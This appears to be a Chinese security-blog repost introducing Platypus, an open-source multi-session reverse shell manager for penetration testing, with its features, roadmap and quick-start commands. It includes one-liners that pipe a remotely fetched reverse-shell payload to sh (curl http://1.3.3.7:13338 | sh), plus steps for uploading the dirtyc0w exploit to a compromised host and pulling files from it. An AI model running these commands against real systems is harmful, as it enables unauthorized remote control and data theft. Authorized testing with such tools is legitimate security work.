前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >404星链计划 | Platypus:支持多会话的交互式反向 Shell 管理器

404星链计划 | Platypus:支持多会话的交互式反向 Shell 管理器

作者头像
Seebug漏洞平台
发布2021-11-26 10:14:12
1.2K0
发布2021-11-26 10:14:12
举报
文章被收录于专栏:Seebug漏洞平台

404星链计划即将迎来改版更新啦,我们会在项目展示、奖励计划等方面有所优化调整,同时会新收录几个优秀的开源安全工具。在此之前,让我们一同回顾一下星链计划自2020年8月上线以来我们收录过的部分项目,它们中很多已经为大家熟知,成为日常工作的一部分,有些还有待你去探索新的利用方式~ 今天介绍的项目是Platypus。

另外欢迎加入404星链计划社群,请在文末识别运营同学二维码,添加时备注“星链计划”。

项目名称:Platypus

项目作者:WangYihang

项目地址:

https://github.com/WangYihang/Platypus

Platypus 是什么?

Platypus 是一款支持多会话交互式反向 Shell 管理器。

在实际的渗透测试中,为了解决 Netcat/Socat 等工具在文件传输、多会话管理方面的不足。该工具在多会话管理的基础上增加了在渗透测试中更加有用的功能(如:交互式 Shell文件操作隧道等),可以更方便灵活地对反向 Shell 会话进行管理。

Platypus 解决的痛点有哪些?

作为一名渗透测试工程师:

  • 您是否遇到过下图中的情况?辛辛苦苦拿到的 Shell 被一个不小心按下的Ctrl+C 杀掉。
  • 您是否苦于 netcat 无法方便地在反向 Shell 中上传和下载文件?
  • 您是否还在苦苦铭记那些冗长繁琐的反向 Shell 的命令?
  • 您是否还在为您的每一个 Shell 开启一个新的 netcat 端口进行监听?

如果您曾经遇到并且苦于上述的情景,那么 Platypus 将会是您的好伙伴!快来上手尝试一下吧!

Platypus 未来计划是什么?

  • 为 Termite 添加列目录功能
  • 为 Termite 添加 Windows 支持
  • RESTful API 添加认证功能
  • 重新设计 Web UI
  • 记录用户与 Shell 的交互,日后可以回放复盘(类似 asciinema)
  • 添加主机发现等其他后渗透功能
  • 多层 Termite 级联
  • 集成提权功能
  • 持久化
  • 集成 rootkie
  • 提供一键升级 Metepreter

Platypus 快速上手

运行

这里假设 Platypus 运行在具有公网 IP 的服务器上,其 IP 为 1.3.3.7。

Linux

代码语言:javascript
复制
./platypus_linux_amd64

Windows

代码语言:javascript
复制
.\platypus_windows_amd64.exe

启动时 Platypus 将会进行一些初始化工作,并开始监听反向 Shell 端口,一切准备就绪之后,Platypus 将会以命令提示符 » 来提示用户可以开始输入命令与之交互。

反弹一个反向 Shell

Tips Platypus 支持普通反向 Shell 与 Platypus 本身的二进制 Shell(名为:Termite), 强烈建议您在拿到普通反向 Shell 之后使用 Upgrade 命令将其升级成 Termite Shell,或者直接使用 Termite 来反弹。

受到 lukechilds 的 reverse-shell 项目的启发,Platypus 支持 Reverse Shell as a Serivce (RaaS),基本语法与其相同。在 RicterZ 的推荐下,增加了一些不同语言的反向 Shell 的 Payload。

您可以直接在目标机器上执行如下命令得到一个反向 Shell,从此不用再记忆各种繁琐的反向 Shell 命令。

代码语言:javascript
复制
curl http://1.3.3.7:13338 | sh


反弹 Shell 至当前 Platypus(1.3.3.7:13338)
代码语言:javascript
复制
curl http://1.3.3.7:13338 | sh
curl http://1.3.3.7:13338/python | sh


反弹 Shell 至其他平台(2.3.3.7:4444)
代码语言:javascript
复制
curl http://1.3.3.7:13338/2.3.3.7/4444 | sh
curl http://1.3.3.7:13338/2.3.3.7/4444/ruby | sh

反弹成功之后,Platypus 会对新上线的 Shell 进行基础的信息搜集(如:操作系统,用户名等), 当信息搜集结束后,即可利用 Platypus 与之进行交互。

与 Platypus 交互

Platypus 提供 3 种与之交互的方式。

  • 命令行
  • Web 界面
  • Python SDK

这里只介绍最基础的命令行模式的一些命令。

Platypus 对命令的大小写不敏感并且支持 Tab 自动对命令进行补全,您可以输入命令前缀然后按下 Tab 键即可自动补全。

Platypus 的命令行模式支持 Help、List、Jump、Download、Upload 以及 Interact 等命令。

Help

打印命令的帮助信息。

列出所有受支持的命令
代码语言:javascript
复制
» Help
列出 List 命令的帮助信息
代码语言:javascript
复制
» Help List

List

列出当前正在监听的服务器以及每一个服务器上存活的 Shell。

代码语言:javascript
复制
» List
2021/08/11 22:46:10 Listing 2 listening servers
2021/08/11 22:46:10 [9442daedd052d7cdfebc43092a4a3050] is listening on 0.0.0.0:13337, 0 clients
2021/08/11 22:46:10 [1b7fb280df68ceebae36060c938a2ced] is listening on 0.0.0.0:13338, 0 clients


Jump

Platypus 会根据配置文件中的哈希计算模式对每一个上线的 Shell 计算哈希,该哈希会作为该 Shell 的唯一标识。

跳转到某一个 Shell 对其进行操作。

例如:

代码语言:javascript
复制
» Jump 1b7fb280df68ceebae36060c938a2ced

跳转成功后,终端的命令提示符将会修改为当前 Shell 的相关信息。后续的命令(如:Interact)将会直接对当前的 Shell 进行操作。

Interact

当跳转到某一个 Shell 之后,与之进行交互。

Warning

  • 如果您直接执行 Interact 命令得到的 Shell 将会与 netcat 类似,并非纯交互式 Shell。
  • 如果您想要退出当前正在交互的 Shell,可以直接输入 exit 即可返回。

Upload / Download

当跳转到某一个 Shell 之后,上传或下载文件。

目前 Platypus 只支持在 Cli 模式下进行文件上传下载操作

上传文件

将 Platypus 当前文件夹下的 dirtyc0w.c 上传至当前交互主机的 /tmp/dirtyc0w.c

代码语言:javascript
复制
» Upload ./dirtyc0w.c /tmp/dirtyc0w.c
下载文件

将当前交互主机的 /tmp/www.tar.gz 下载至 Platypus 当前文件夹下的 www.tar.gz 中。

代码语言:javascript
复制
» Download /tmp/www.tar.gz ./www.tar.gz

更多内容可查看以下链接阅读原文:

https://platypus-reverse-shell.vercel.app/quick-start/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-11-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 运行
    • Linux
      • Windows
        • Help
          • 列出所有受支持的命令
          • 列出 List 命令的帮助信息
        • List
          • Jump
            • Interact
              • 上传文件
              • 下载文件
          相关产品与服务
          网站渗透测试
          网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档